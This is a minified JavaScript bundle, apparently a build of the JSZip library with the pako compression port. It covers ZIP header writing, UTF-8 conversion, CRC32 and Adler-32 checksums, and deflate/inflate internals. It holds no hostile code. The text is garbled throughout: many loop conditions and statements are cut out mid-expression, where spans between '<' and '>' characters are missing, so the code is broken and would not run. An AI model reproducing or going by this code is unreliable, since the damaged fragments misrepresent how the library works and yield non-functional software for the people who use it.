JSZip(data,options);this.files={};this.comment=null;this.root="";if(data)this.load(data,options);this.clone=function(){var newObj=new JSZip;for(var i in this)if(typeof this[i]!=="function")newObj[i]=this[i];return newObj}} +JSZip.prototype=_dereq_("./object");JSZip.prototype.load=_dereq_("./load");JSZip.support=_dereq_("./support");JSZip.defaults=_dereq_("./defaults");JSZip.utils=_dereq_("./deprecatedPublicUtils");JSZip.base64={encode:function(input){return base64.encode(input)},decode:function(input){return base64.decode(input)}};JSZip.compressions=_dereq_("./compressions");module.exports=JSZip},{"./base64":1,"./compressions":3,"./defaults":6,"./deprecatedPublicUtils":7,"./load":10,"./object":13,"./support":17}],10:[function(_dereq_, +module,exports){var base64=_dereq_("./base64");var ZipEntries=_dereq_("./zipEntries");module.exports=function(data,options){var files,zipEntries,i,input;options=options||{};if(options.base64)data=base64.decode(data);zipEntries=new ZipEntries(data,options);files=zipEntries.files;for(i=0;i>>8}return hex};var extend=function(){var result={},i,attr;for(i=0;i0?path.substring(0,lastSlash):""};var folderAdd=function(name,createFolders){if(name.slice(-1)!="/")name+="/";createFolders=typeof createFolders!=="undefined"?createFolders:false;if(!this.files[name])fileAdd.call(this,name,null,{dir:true,createFolders:createFolders});return this.files[name]};var generateCompressedObjectFrom=function(file,compression){var result=new CompressedObject,content;if(file._data instanceof +CompressedObject){result.uncompressedSize=file._data.uncompressedSize;result.crc32=file._data.crc32;if(result.uncompressedSize===0||file.dir){compression=compressions["STORE"];result.compressedContent="";result.crc32=0}else if(file._data.compressionMethod===compression.magic)result.compressedContent=file._data.getCompressedContent();else{content=file._data.getContent();result.compressedContent=compression.compress(utils.transformTo(compression.compressInputType,content))}}else{content=getBinaryData(file); +if(!content||content.length===0||file.dir){compression=compressions["STORE"];content=""}result.uncompressedSize=content.length;result.crc32=crc32(content);result.compressedContent=compression.compress(utils.transformTo(compression.compressInputType,content))}result.compressedSize=result.compressedContent.length;result.compressionMethod=compression.magic;return result};var generateZipParts=function(name,file,compressedObject,offset){var data=compressedObject.compressedContent,utfEncodedFileName=utils.transformTo("string", +utf8.utf8encode(file.name)),comment=file.comment||"",utfEncodedComment=utils.transformTo("string",utf8.utf8encode(comment)),useUTF8ForFileName=utfEncodedFileName.length!==file.name.length,useUTF8ForComment=utfEncodedComment.length!==comment.length,o=file.options,dosTime,dosDate,extraFields="",unicodePathExtraField="",unicodeCommentExtraField="",dir,date;if(file._initialMetadata.dir!==file.dir)dir=file.dir;else dir=o.dir;if(file._initialMetadata.date!==file.date)date=file.date;else date=o.date;dosTime= +date.getHours();dosTime=dosTime<<6;dosTime=dosTime|date.getMinutes();dosTime=dosTime<<5;dosTime=dosTime|date.getSeconds()/2;dosDate=date.getFullYear()-1980;dosDate=dosDate<<4;dosDate=dosDate|date.getMonth()+1;dosDate=dosDate<<5;dosDate=dosDate|date.getDate();if(useUTF8ForFileName){unicodePathExtraField=decToHex(1,1)+decToHex(crc32(utfEncodedFileName),4)+utfEncodedFileName;extraFields+="up"+decToHex(unicodePathExtraField.length,2)+unicodePathExtraField}if(useUTF8ForComment){unicodeCommentExtraField= +decToHex(1,1)+decToHex(this.crc32(utfEncodedComment),4)+utfEncodedComment;extraFields+="uc"+decToHex(unicodeCommentExtraField.length,2)+unicodeCommentExtraField}var header="";header+="\n\x00";header+=useUTF8ForFileName||useUTF8ForComment?"\x00\b":"\x00\x00";header+=compressedObject.compressionMethod;header+=decToHex(dosTime,2);header+=decToHex(dosDate,2);header+=decToHex(compressedObject.crc32,4);header+=decToHex(compressedObject.compressedSize,4);header+=decToHex(compressedObject.uncompressedSize, +4);header+=decToHex(utfEncodedFileName.length,2);header+=decToHex(extraFields.length,2);var fileRecord=signature.LOCAL_FILE_HEADER+header+utfEncodedFileName+extraFields;var dirRecord=signature.CENTRAL_FILE_HEADER+"\u0014\x00"+header+decToHex(utfEncodedComment.length,2)+"\x00\x00"+"\x00\x00"+(dir===true?"\u0010\x00\x00\x00":"\x00\x00\x00\x00")+decToHex(offset,4)+utfEncodedFileName+extraFields+utfEncodedComment;return{fileRecord:fileRecord,dirRecord:dirRecord,compressedObject:compressedObject}};var out= +{load:function(stream,options){throw new Error("Load method is not defined. Is the file jszip-load.js included ?");},filter:function(search){var result=[],filename,relativePath,file,fileClone;for(filename in this.files){if(!this.files.hasOwnProperty(filename))continue;file=this.files[filename];fileClone=new ZipObject(file.name,file._data,extend(file.options));relativePath=filename.slice(this.root.length,filename.length);if(filename.slice(0,this.root.length)===this.root&&search(relativePath,fileClone))result.push(fileClone)}return result}, +file:function(name,data,o){if(arguments.length===1)if(utils.isRegExp(name)){var regexp=name;return this.filter(function(relativePath,file){return!file.dir&®exp.test(relativePath)})}else return this.filter(function(relativePath,file){return!file.dir&&relativePath===name})[0]||null;else{name=this.root+name;fileAdd.call(this,name,data,o)}return this},folder:function(arg){if(!arg)return this;if(utils.isRegExp(arg))return this.filter(function(relativePath,file){return file.dir&&arg.test(relativePath)}); +var name=this.root+arg;var newFolder=folderAdd.call(this,name);var ret=this.clone();ret.root=newFolder.name;return ret},remove:function(name){name=this.root+name;var file=this.files[name];if(!file){if(name.slice(-1)!="/")name+="/";file=this.files[name]}if(file&&!file.dir)delete this.files[name];else{var kids=this.filter(function(relativePath,file){return file.name.slice(0,name.length)===name});for(var i=0;i=0;--i)if(this.data[i]===sig0&&this.data[i+1]===sig1&&this.data[i+2]===sig2&&this.data[i+3]===sig3)return i;return-1};Uint8ArrayReader.prototype.readData=function(size){this.checkOffset(size);if(size===0)return new Uint8Array(0);var result=this.data.subarray(this.index, +this.index+size);this.index+=size;return result};module.exports=Uint8ArrayReader},{"./dataReader":5}],19:[function(_dereq_,module,exports){var utils=_dereq_("./utils");var Uint8ArrayWriter=function(length){this.data=new Uint8Array(length);this.index=0};Uint8ArrayWriter.prototype={append:function(input){if(input.length!==0){input=utils.transformTo("uint8array",input);this.data.set(input,this.index);this.index+=input.length}},finalize:function(){return this.data}};module.exports=Uint8ArrayWriter},{"./utils":21}], +20:[function(_dereq_,module,exports){var utils=_dereq_("./utils");var support=_dereq_("./support");var nodeBuffer=_dereq_("./nodeBuffer");var _utf8len=new Array(256);for(var i=0;i<256;i++)_utf8len[i]=i>=252?6:i>=248?5:i>=240?4:i>=224?3:i>=192?2:1;_utf8len[254]=_utf8len[254]=1;var string2buf=function(str){var buf,c,c2,m_pos,i,str_len=str.length,buf_len=0;for(m_pos=0;m_pos>>6;buf[i++]=128|c&63}else if(c<65536){buf[i++]=224|c>>>12;buf[i++]=128|c>>>6&63;buf[i++]=128|c&63}else{buf[i++]= +240|c>>>18;buf[i++]=128|c>>>12&63;buf[i++]=128|c>>>6&63;buf[i++]=128|c&63}}return buf};var utf8border=function(buf,max){var pos;max=max||buf.length;if(max>buf.length)max=buf.length;pos=max-1;while(pos>=0&&(buf[pos]&192)===128)pos--;if(pos<0)return max;if(pos===0)return max;return pos+_utf8len[buf[pos]]>max?pos:max};var buf2string=function(buf){var str,i,out,c,c_len;var len=buf.length;var utf16buf=new Array(len*2);for(out=0,i=0;i4){utf16buf[out++]=65533;i+=c_len-1;continue}c&=c_len===2?31:c_len===3?15:7;while(c_len>1&&i1){utf16buf[out++]=65533;continue}if(c<65536)utf16buf[out++]=c;else{c-=65536;utf16buf[out++]=55296|c>>10&1023;utf16buf[out++]=56320|c&1023}}if(utf16buf.length!==out)if(utf16buf.subarray)utf16buf=utf16buf.subarray(0,out);else utf16buf.length=out;return utils.applyFromCharCode(utf16buf)};exports.utf8encode=function utf8encode(str){if(support.nodebuffer)return nodeBuffer(str, +"utf-8");return string2buf(str)};exports.utf8decode=function utf8decode(buf){if(support.nodebuffer)return utils.transformTo("nodebuffer",buf).toString("utf-8");buf=utils.transformTo(support.uint8array?"uint8array":"array",buf);var result=[],k=0,len=buf.length,chunk=65536;while(k1)try{if(type==="array"||type==="nodebuffer")result.push(String.fromCharCode.apply(null,array.slice(k,Math.min(k+chunk,len))));else result.push(String.fromCharCode.apply(null, +array.subarray(k,Math.min(k+chunk,len))));k+=chunk}catch(e){chunk=Math.floor(chunk/2)}return result.join("")}exports.applyFromCharCode=arrayLikeToString;function arrayLikeToArrayLike(arrayFrom,arrayTo){for(var i=0;i1)throw new Error("Multi-volumes zip are not supported");},readLocalFiles:function(){var i,file;for(i=0;i0)opt.windowBits=-opt.windowBits;else if(opt.gzip&&opt.windowBits>0&&opt.windowBits<16)opt.windowBits+=16;this.err=0;this.msg="";this.ended=false;this.chunks=[];this.strm=new zstream;this.strm.avail_out=0;var status=zlib_deflate.deflateInit2(this.strm,opt.level,opt.method,opt.windowBits,opt.memLevel,opt.strategy);if(status!==Z_OK)throw new Error(msg[status]); +if(opt.header)zlib_deflate.deflateSetHeader(this.strm,opt.header)};Deflate.prototype.push=function(data,mode){var strm=this.strm;var chunkSize=this.options.chunkSize;var status,_mode;if(this.ended)return false;_mode=mode===~~mode?mode:mode===true?Z_FINISH:Z_NO_FLUSH;if(typeof data==="string")strm.input=strings.string2buf(data);else strm.input=data;strm.next_in=0;strm.avail_in=strm.input.length;do{if(strm.avail_out===0){strm.output=new utils.Buf8(chunkSize);strm.next_out=0;strm.avail_out=chunkSize}status= +zlib_deflate.deflate(strm,_mode);if(status!==Z_STREAM_END&&status!==Z_OK){this.onEnd(status);this.ended=true;return false}if(strm.avail_out===0||strm.avail_in===0&&_mode===Z_FINISH)if(this.options.to==="string")this.onData(strings.buf2binstring(utils.shrinkBuf(strm.output,strm.next_out)));else this.onData(utils.shrinkBuf(strm.output,strm.next_out))}while((strm.avail_in>0||strm.avail_out===0)&&status!==Z_STREAM_END);if(_mode===Z_FINISH){status=zlib_deflate.deflateEnd(this.strm);this.onEnd(status); +this.ended=true;return status===Z_OK}return true};Deflate.prototype.onData=function(chunk){this.chunks.push(chunk)};Deflate.prototype.onEnd=function(status){if(status===Z_OK)if(this.options.to==="string")this.result=this.chunks.join("");else this.result=utils.flattenChunks(this.chunks);this.chunks=[];this.err=status;this.msg=this.strm.msg};function deflate(input,options){var deflator=new Deflate(options);deflator.push(input,true);if(deflator.err)throw deflator.msg;return deflator.result}function deflateRaw(input, +options){options=options||{};options.raw=true;return deflate(input,options)}function gzip(input,options){options=options||{};options.gzip=true;return deflate(input,options)}exports.Deflate=Deflate;exports.deflate=deflate;exports.deflateRaw=deflateRaw;exports.gzip=gzip},{"./utils/common":27,"./utils/strings":28,"./zlib/deflate.js":32,"./zlib/messages":37,"./zlib/zstream":39}],26:[function(_dereq_,module,exports){var zlib_inflate=_dereq_("./zlib/inflate.js");var utils=_dereq_("./utils/common");var strings= +_dereq_("./utils/strings");var c=_dereq_("./zlib/constants");var msg=_dereq_("./zlib/messages");var zstream=_dereq_("./zlib/zstream");var gzheader=_dereq_("./zlib/gzheader");var Inflate=function(options){this.options=utils.assign({chunkSize:16384,windowBits:0,to:""},options||{});var opt=this.options;if(opt.raw&&opt.windowBits>=0&&opt.windowBits<16){opt.windowBits=-opt.windowBits;if(opt.windowBits===0)opt.windowBits=-15}if(opt.windowBits>=0&&opt.windowBits<16&&!(options&&options.windowBits))opt.windowBits+= +32;if(opt.windowBits>15&&opt.windowBits<48)if((opt.windowBits&15)===0)opt.windowBits|=15;this.err=0;this.msg="";this.ended=false;this.chunks=[];this.strm=new zstream;this.strm.avail_out=0;var status=zlib_inflate.inflateInit2(this.strm,opt.windowBits);if(status!==c.Z_OK)throw new Error(msg[status]);this.header=new gzheader;zlib_inflate.inflateGetHeader(this.strm,this.header)};Inflate.prototype.push=function(data,mode){var strm=this.strm;var chunkSize=this.options.chunkSize;var status,_mode;var next_out_utf8, +tail,utf8str;if(this.ended)return false;_mode=mode===~~mode?mode:mode===true?c.Z_FINISH:c.Z_NO_FLUSH;if(typeof data==="string")strm.input=strings.binstring2buf(data);else strm.input=data;strm.next_in=0;strm.avail_in=strm.input.length;do{if(strm.avail_out===0){strm.output=new utils.Buf8(chunkSize);strm.next_out=0;strm.avail_out=chunkSize}status=zlib_inflate.inflate(strm,c.Z_NO_FLUSH);if(status!==c.Z_STREAM_END&&status!==c.Z_OK){this.onEnd(status);this.ended=true;return false}if(strm.next_out)if(strm.avail_out=== +0||status===c.Z_STREAM_END||strm.avail_in===0&&_mode===c.Z_FINISH)if(this.options.to==="string"){next_out_utf8=strings.utf8border(strm.output,strm.next_out);tail=strm.next_out-next_out_utf8;utf8str=strings.buf2string(strm.output,next_out_utf8);strm.next_out=tail;strm.avail_out=chunkSize-tail;if(tail)utils.arraySet(strm.output,strm.output,next_out_utf8,tail,0);this.onData(utf8str)}else this.onData(utils.shrinkBuf(strm.output,strm.next_out))}while(strm.avail_in>0&&status!==c.Z_STREAM_END);if(status=== +c.Z_STREAM_END)_mode=c.Z_FINISH;if(_mode===c.Z_FINISH){status=zlib_inflate.inflateEnd(this.strm);this.onEnd(status);this.ended=true;return status===c.Z_OK}return true};Inflate.prototype.onData=function(chunk){this.chunks.push(chunk)};Inflate.prototype.onEnd=function(status){if(status===c.Z_OK)if(this.options.to==="string")this.result=this.chunks.join("");else this.result=utils.flattenChunks(this.chunks);this.chunks=[];this.err=status;this.msg=this.strm.msg};function inflate(input,options){var inflator= +new Inflate(options);inflator.push(input,true);if(inflator.err)throw inflator.msg;return inflator.result}function inflateRaw(input,options){options=options||{};options.raw=true;return inflate(input,options)}exports.Inflate=Inflate;exports.inflate=inflate;exports.inflateRaw=inflateRaw;exports.ungzip=inflate},{"./utils/common":27,"./utils/strings":28,"./zlib/constants":30,"./zlib/gzheader":33,"./zlib/inflate.js":35,"./zlib/messages":37,"./zlib/zstream":39}],27:[function(_dereq_,module,exports){var TYPED_OK= +typeof Uint8Array!=="undefined"&&typeof Uint16Array!=="undefined"&&typeof Int32Array!=="undefined";exports.assign=function(obj){var sources=Array.prototype.slice.call(arguments,1);while(sources.length){var source=sources.shift();if(!source)continue;if(typeof source!=="object")throw new TypeError(source+"must be non-object");for(var p in source)if(source.hasOwnProperty(p))obj[p]=source[p]}return obj};exports.shrinkBuf=function(buf,size){if(buf.length===size)return buf;if(buf.subarray)return buf.subarray(0, +size);buf.length=size;return buf};var fnTyped={arraySet:function(dest,src,src_offs,len,dest_offs){if(src.subarray&&dest.subarray){dest.set(src.subarray(src_offs,src_offs+len),dest_offs);return}for(var i=0;i=252?6:i>=248?5:i>=240?4:i>=224?3:i>=192?2:1;_utf8len[254]=_utf8len[254]=1;exports.string2buf=function(str){var buf,c,c2,m_pos,i,str_len=str.length,buf_len=0;for(m_pos=0;m_pos>>6;buf[i++]=128|c&63}else if(c<65536){buf[i++]=224|c>>>12;buf[i++]= +128|c>>>6&63;buf[i++]=128|c&63}else{buf[i++]=240|c>>>18;buf[i++]=128|c>>>12&63;buf[i++]=128|c>>>6&63;buf[i++]=128|c&63}}return buf};function buf2binstring(buf,len){if(len<65537)if(buf.subarray&&STR_APPLY_UIA_OK||!buf.subarray&&STR_APPLY_OK)return String.fromCharCode.apply(null,utils.shrinkBuf(buf,len));var result="";for(var i=0;i4){utf16buf[out++]=65533;i+=c_len-1;continue}c&=c_len===2?31:c_len===3?15:7;while(c_len>1&&i1){utf16buf[out++]=65533;continue}if(c<65536)utf16buf[out++]= +c;else{c-=65536;utf16buf[out++]=55296|c>>10&1023;utf16buf[out++]=56320|c&1023}}return buf2binstring(utf16buf,out)};exports.utf8border=function(buf,max){var pos;max=max||buf.length;if(max>buf.length)max=buf.length;pos=max-1;while(pos>=0&&(buf[pos]&192)===128)pos--;if(pos<0)return max;if(pos===0)return max;return pos+_utf8len[buf[pos]]>max?pos:max}},{"./common":27}],29:[function(_dereq_,module,exports){function adler32(adler,buf,len,pos){var s1=adler&65535|0,s2=adler>>>16&65535|0,n=0;while(len!==0){n= +len>2E3?2E3:len;len-=n;do{s1=s1+buf[pos++]|0;s2=s2+s1|0}while(--n);s1%=65521;s2%=65521}return s1|s2<<16|0}module.exports=adler32},{}],30:[function(_dereq_,module,exports){module.exports={Z_NO_FLUSH:0,Z_PARTIAL_FLUSH:1,Z_SYNC_FLUSH:2,Z_FULL_FLUSH:3,Z_FINISH:4,Z_BLOCK:5,Z_TREES:6,Z_OK:0,Z_STREAM_END:1,Z_NEED_DICT:2,Z_ERRNO:-1,Z_STREAM_ERROR:-2,Z_DATA_ERROR:-3,Z_BUF_ERROR:-5,Z_NO_COMPRESSION:0,Z_BEST_SPEED:1,Z_BEST_COMPRESSION:9,Z_DEFAULT_COMPRESSION:-1,Z_FILTERED:1,Z_HUFFMAN_ONLY:2,Z_RLE:3,Z_FIXED:4, +Z_DEFAULT_STRATEGY:0,Z_BINARY:0,Z_TEXT:1,Z_UNKNOWN:2,Z_DEFLATED:8}},{}],31:[function(_dereq_,module,exports){function makeTable(){var c,table=[];for(var n=0;n<256;n++){c=n;for(var k=0;k<8;k++)c=c&1?3988292384^c>>>1:c>>>1;table[n]=c}return table}var crcTable=makeTable();function crc32(crc,buf,len,pos){var t=crcTable,end=pos+len;crc=crc^-1;for(var i=pos;i>>8^t[(crc^buf[i])&255];return crc^-1}module.exports=crc32},{}],32:[function(_dereq_,module,exports){var utils=_dereq_("../utils/common"); +var trees=_dereq_("./trees");var adler32=_dereq_("./adler32");var crc32=_dereq_("./crc32");var msg=_dereq_("./messages");var Z_NO_FLUSH=0;var Z_PARTIAL_FLUSH=1;var Z_FULL_FLUSH=3;var Z_FINISH=4;var Z_BLOCK=5;var Z_OK=0;var Z_STREAM_END=1;var Z_STREAM_ERROR=-2;var Z_DATA_ERROR=-3;var Z_BUF_ERROR=-5;var Z_DEFAULT_COMPRESSION=-1;var Z_FILTERED=1;var Z_HUFFMAN_ONLY=2;var Z_RLE=3;var Z_FIXED=4;var Z_DEFAULT_STRATEGY=0;var Z_UNKNOWN=2;var Z_DEFLATED=8;var MAX_MEM_LEVEL=9;var MAX_WBITS=15;var DEF_MEM_LEVEL= +8;var LENGTH_CODES=29;var LITERALS=256;var L_CODES=LITERALS+1+LENGTH_CODES;var D_CODES=30;var BL_CODES=19;var HEAP_SIZE=2*L_CODES+1;var MAX_BITS=15;var MIN_MATCH=3;var MAX_MATCH=258;var MIN_LOOKAHEAD=MAX_MATCH+MIN_MATCH+1;var PRESET_DICT=32;var INIT_STATE=42;var EXTRA_STATE=69;var NAME_STATE=73;var COMMENT_STATE=91;var HCRC_STATE=103;var BUSY_STATE=113;var FINISH_STATE=666;var BS_NEED_MORE=1;var BS_BLOCK_DONE=2;var BS_FINISH_STARTED=3;var BS_FINISH_DONE=4;var OS_CODE=3;function err(strm,errorCode){strm.msg= +msg[errorCode];return errorCode}function rank(f){return(f<<1)-(f>4?9:0)}function zero(buf){var len=buf.length;while(--len>=0)buf[len]=0}function flush_pending(strm){var s=strm.state;var len=s.pending;if(len>strm.avail_out)len=strm.avail_out;if(len===0)return;utils.arraySet(strm.output,s.pending_buf,s.pending_out,len,strm.next_out);strm.next_out+=len;s.pending_out+=len;strm.total_out+=len;strm.avail_out-=len;s.pending-=len;if(s.pending===0)s.pending_out=0}function flush_block_only(s,last){trees._tr_flush_block(s, +s.block_start>=0?s.block_start:-1,s.strstart-s.block_start,last);s.block_start=s.strstart;flush_pending(s.strm)}function put_byte(s,b){s.pending_buf[s.pending++]=b}function putShortMSB(s,b){s.pending_buf[s.pending++]=b>>>8&255;s.pending_buf[s.pending++]=b&255}function read_buf(strm,buf,start,size){var len=strm.avail_in;if(len>size)len=size;if(len===0)return 0;strm.avail_in-=len;utils.arraySet(buf,strm.input,strm.next_in,len,start);if(strm.state.wrap===1)strm.adler=adler32(strm.adler,buf,len,start); +else if(strm.state.wrap===2)strm.adler=crc32(strm.adler,buf,len,start);strm.next_in+=len;strm.total_in+=len;return len}function longest_match(s,cur_match){var chain_length=s.max_chain_length;var scan=s.strstart;var match;var len;var best_len=s.prev_length;var nice_match=s.nice_match;var limit=s.strstart>s.w_size-MIN_LOOKAHEAD?s.strstart-(s.w_size-MIN_LOOKAHEAD):0;var _win=s.window;var wmask=s.w_mask;var prev=s.prev;var strend=s.strstart+MAX_MATCH;var scan_end1=_win[scan+best_len-1];var scan_end=_win[scan+ +best_len];if(s.prev_length>=s.good_match)chain_length>>=2;if(nice_match>s.lookahead)nice_match=s.lookahead;do{match=cur_match;if(_win[match+best_len]!==scan_end||_win[match+best_len-1]!==scan_end1||_win[match]!==_win[scan]||_win[++match]!==_win[scan+1])continue;scan+=2;match++;do;while(_win[++scan]===_win[++match]&&_win[++scan]===_win[++match]&&_win[++scan]===_win[++match]&&_win[++scan]===_win[++match]&&_win[++scan]===_win[++match]&&_win[++scan]===_win[++match]&&_win[++scan]===_win[++match]&&_win[++scan]=== +_win[++match]&&scanbest_len){s.match_start=cur_match;best_len=len;if(len>=nice_match)break;scan_end1=_win[scan+best_len-1];scan_end=_win[scan+best_len]}}while((cur_match=prev[cur_match&wmask])>limit&&--chain_length!==0);if(best_len<=s.lookahead)return best_len;return s.lookahead}function fill_window(s){var _w_size=s.w_size;var p,n,m,more,str;do{more=s.window_size-s.lookahead-s.strstart;if(s.strstart>=_w_size+(_w_size-MIN_LOOKAHEAD)){utils.arraySet(s.window, +s.window,_w_size,_w_size,0);s.match_start-=_w_size;s.strstart-=_w_size;s.block_start-=_w_size;n=s.hash_size;p=n;do{m=s.head[--p];s.head[p]=m>=_w_size?m-_w_size:0}while(--n);n=_w_size;p=n;do{m=s.prev[--p];s.prev[p]=m>=_w_size?m-_w_size:0}while(--n);more+=_w_size}if(s.strm.avail_in===0)break;n=read_buf(s.strm,s.window,s.strstart+s.lookahead,more);s.lookahead+=n;if(s.lookahead+s.insert>=MIN_MATCH){str=s.strstart-s.insert;s.ins_h=s.window[str];s.ins_h=(s.ins_h<s.pending_buf_size-5)max_block_size=s.pending_buf_size-5;for(;;){if(s.lookahead<=1){fill_window(s);if(s.lookahead===0&&flush===Z_NO_FLUSH)return BS_NEED_MORE;if(s.lookahead=== +0)break}s.strstart+=s.lookahead;s.lookahead=0;var max_start=s.block_start+max_block_size;if(s.strstart===0||s.strstart>=max_start){s.lookahead=s.strstart-max_start;s.strstart=max_start;flush_block_only(s,false);if(s.strm.avail_out===0)return BS_NEED_MORE}if(s.strstart-s.block_start>=s.w_size-MIN_LOOKAHEAD){flush_block_only(s,false);if(s.strm.avail_out===0)return BS_NEED_MORE}}s.insert=0;if(flush===Z_FINISH){flush_block_only(s,true);if(s.strm.avail_out===0)return BS_FINISH_STARTED;return BS_FINISH_DONE}if(s.strstart> +s.block_start){flush_block_only(s,false);if(s.strm.avail_out===0)return BS_NEED_MORE}return BS_NEED_MORE}function deflate_fast(s,flush){var hash_head;var bflush;for(;;){if(s.lookahead=MIN_MATCH){s.ins_h=(s.ins_h<=MIN_MATCH){bflush=trees._tr_tally(s,s.strstart-s.match_start,s.match_length-MIN_MATCH);s.lookahead-=s.match_length;if(s.match_length<=s.max_lazy_match&&s.lookahead>=MIN_MATCH){s.match_length--;do{s.strstart++;s.ins_h=(s.ins_h<=MIN_MATCH){s.ins_h=(s.ins_h<4096))s.match_length=MIN_MATCH-1}if(s.prev_length>=MIN_MATCH&&s.match_length<=s.prev_length){max_insert=s.strstart+s.lookahead-MIN_MATCH;bflush=trees._tr_tally(s,s.strstart-1-s.prev_match,s.prev_length- +MIN_MATCH);s.lookahead-=s.prev_length-1;s.prev_length-=2;do if(++s.strstart<=max_insert){s.ins_h=(s.ins_h<=MIN_MATCH&&s.strstart>0){scan=s.strstart-1;prev=_win[scan];if(prev===_win[++scan]&&prev===_win[++scan]&&prev===_win[++scan]){strend=s.strstart+MAX_MATCH;do;while(prev===_win[++scan]&&prev===_win[++scan]&&prev===_win[++scan]&&prev===_win[++scan]&& +prev===_win[++scan]&&prev===_win[++scan]&&prev===_win[++scan]&&prev===_win[++scan]&&scans.lookahead)s.match_length=s.lookahead}}if(s.match_length>=MIN_MATCH){bflush=trees._tr_tally(s,1,s.match_length-MIN_MATCH);s.lookahead-=s.match_length;s.strstart+=s.match_length;s.match_length=0}else{bflush=trees._tr_tally(s,0,s.window[s.strstart]);s.lookahead--;s.strstart++}if(bflush){flush_block_only(s,false);if(s.strm.avail_out===0)return BS_NEED_MORE}}s.insert= +0;if(flush===Z_FINISH){flush_block_only(s,true);if(s.strm.avail_out===0)return BS_FINISH_STARTED;return BS_FINISH_DONE}if(s.last_lit){flush_block_only(s,false);if(s.strm.avail_out===0)return BS_NEED_MORE}return BS_BLOCK_DONE}function deflate_huff(s,flush){var bflush;for(;;){if(s.lookahead===0){fill_window(s);if(s.lookahead===0){if(flush===Z_NO_FLUSH)return BS_NEED_MORE;break}}s.match_length=0;bflush=trees._tr_tally(s,0,s.window[s.strstart]);s.lookahead--;s.strstart++;if(bflush){flush_block_only(s, +false);if(s.strm.avail_out===0)return BS_NEED_MORE}}s.insert=0;if(flush===Z_FINISH){flush_block_only(s,true);if(s.strm.avail_out===0)return BS_FINISH_STARTED;return BS_FINISH_DONE}if(s.last_lit){flush_block_only(s,false);if(s.strm.avail_out===0)return BS_NEED_MORE}return BS_BLOCK_DONE}var Config=function(good_length,max_lazy,nice_length,max_chain,func){this.good_length=good_length;this.max_lazy=max_lazy;this.nice_length=nice_length;this.max_chain=max_chain;this.func=func};var configuration_table; +configuration_table=[new Config(0,0,0,0,deflate_stored),new Config(4,4,8,4,deflate_fast),new Config(4,5,16,8,deflate_fast),new Config(4,6,32,32,deflate_fast),new Config(4,4,16,16,deflate_slow),new Config(8,16,32,32,deflate_slow),new Config(8,16,128,128,deflate_slow),new Config(8,32,128,256,deflate_slow),new Config(32,128,258,1024,deflate_slow),new Config(32,258,258,4096,deflate_slow)];function lm_init(s){s.window_size=2*s.w_size;zero(s.head);s.max_lazy_match=configuration_table[s.level].max_lazy; +s.good_match=configuration_table[s.level].good_length;s.nice_match=configuration_table[s.level].nice_length;s.max_chain_length=configuration_table[s.level].max_chain;s.strstart=0;s.block_start=0;s.lookahead=0;s.insert=0;s.match_length=s.prev_length=MIN_MATCH-1;s.match_available=0;s.ins_h=0}function DeflateState(){this.strm=null;this.status=0;this.pending_buf=null;this.pending_buf_size=0;this.pending_out=0;this.pending=0;this.wrap=0;this.gzhead=null;this.gzindex=0;this.method=Z_DEFLATED;this.last_flush= +-1;this.w_size=0;this.w_bits=0;this.w_mask=0;this.window=null;this.window_size=0;this.prev=null;this.head=null;this.ins_h=0;this.hash_size=0;this.hash_bits=0;this.hash_mask=0;this.hash_shift=0;this.block_start=0;this.match_length=0;this.prev_match=0;this.match_available=0;this.strstart=0;this.match_start=0;this.lookahead=0;this.prev_length=0;this.max_chain_length=0;this.max_lazy_match=0;this.level=0;this.strategy=0;this.good_match=0;this.nice_match=0;this.dyn_ltree=new utils.Buf16(HEAP_SIZE*2);this.dyn_dtree= +new utils.Buf16((2*D_CODES+1)*2);this.bl_tree=new utils.Buf16((2*BL_CODES+1)*2);zero(this.dyn_ltree);zero(this.dyn_dtree);zero(this.bl_tree);this.l_desc=null;this.d_desc=null;this.bl_desc=null;this.bl_count=new utils.Buf16(MAX_BITS+1);this.heap=new utils.Buf16(2*L_CODES+1);zero(this.heap);this.heap_len=0;this.heap_max=0;this.depth=new utils.Buf16(2*L_CODES+1);zero(this.depth);this.l_buf=0;this.lit_bufsize=0;this.last_lit=0;this.d_buf=0;this.opt_len=0;this.static_len=0;this.matches=0;this.insert=0; +this.bi_buf=0;this.bi_valid=0}function deflateResetKeep(strm){var s;if(!strm||!strm.state)return err(strm,Z_STREAM_ERROR);strm.total_in=strm.total_out=0;strm.data_type=Z_UNKNOWN;s=strm.state;s.pending=0;s.pending_out=0;if(s.wrap<0)s.wrap=-s.wrap;s.status=s.wrap?INIT_STATE:BUSY_STATE;strm.adler=s.wrap===2?0:1;s.last_flush=Z_NO_FLUSH;trees._tr_init(s);return Z_OK}function deflateReset(strm){var ret=deflateResetKeep(strm);if(ret===Z_OK)lm_init(strm.state);return ret}function deflateSetHeader(strm,head){if(!strm|| +!strm.state)return Z_STREAM_ERROR;if(strm.state.wrap!==2)return Z_STREAM_ERROR;strm.state.gzhead=head;return Z_OK}function deflateInit2(strm,level,method,windowBits,memLevel,strategy){if(!strm)return Z_STREAM_ERROR;var wrap=1;if(level===Z_DEFAULT_COMPRESSION)level=6;if(windowBits<0){wrap=0;windowBits=-windowBits}else if(windowBits>15){wrap=2;windowBits-=16}if(memLevel<1||memLevel>MAX_MEM_LEVEL||method!==Z_DEFLATED||windowBits<8||windowBits>15||level<0||level>9||strategy<0||strategy>Z_FIXED)return err(strm, +Z_STREAM_ERROR);if(windowBits===8)windowBits=9;var s=new DeflateState;strm.state=s;s.strm=strm;s.wrap=wrap;s.gzhead=null;s.w_bits=windowBits;s.w_size=1<>1;s.l_buf=(1+2)*s.lit_bufsize;s.level=level;s.strategy=strategy;s.method=method;return deflateReset(strm)}function deflateInit(strm,level){return deflateInit2(strm,level,Z_DEFLATED,MAX_WBITS,DEF_MEM_LEVEL,Z_DEFAULT_STRATEGY)}function deflate(strm,flush){var old_flush,s;var beg,val;if(!strm||!strm.state||flush>Z_BLOCK||flush<0)return strm?err(strm,Z_STREAM_ERROR):Z_STREAM_ERROR;s=strm.state;if(!strm.output||!strm.input&&strm.avail_in!==0||s.status===FINISH_STATE&&flush!==Z_FINISH)return err(strm, 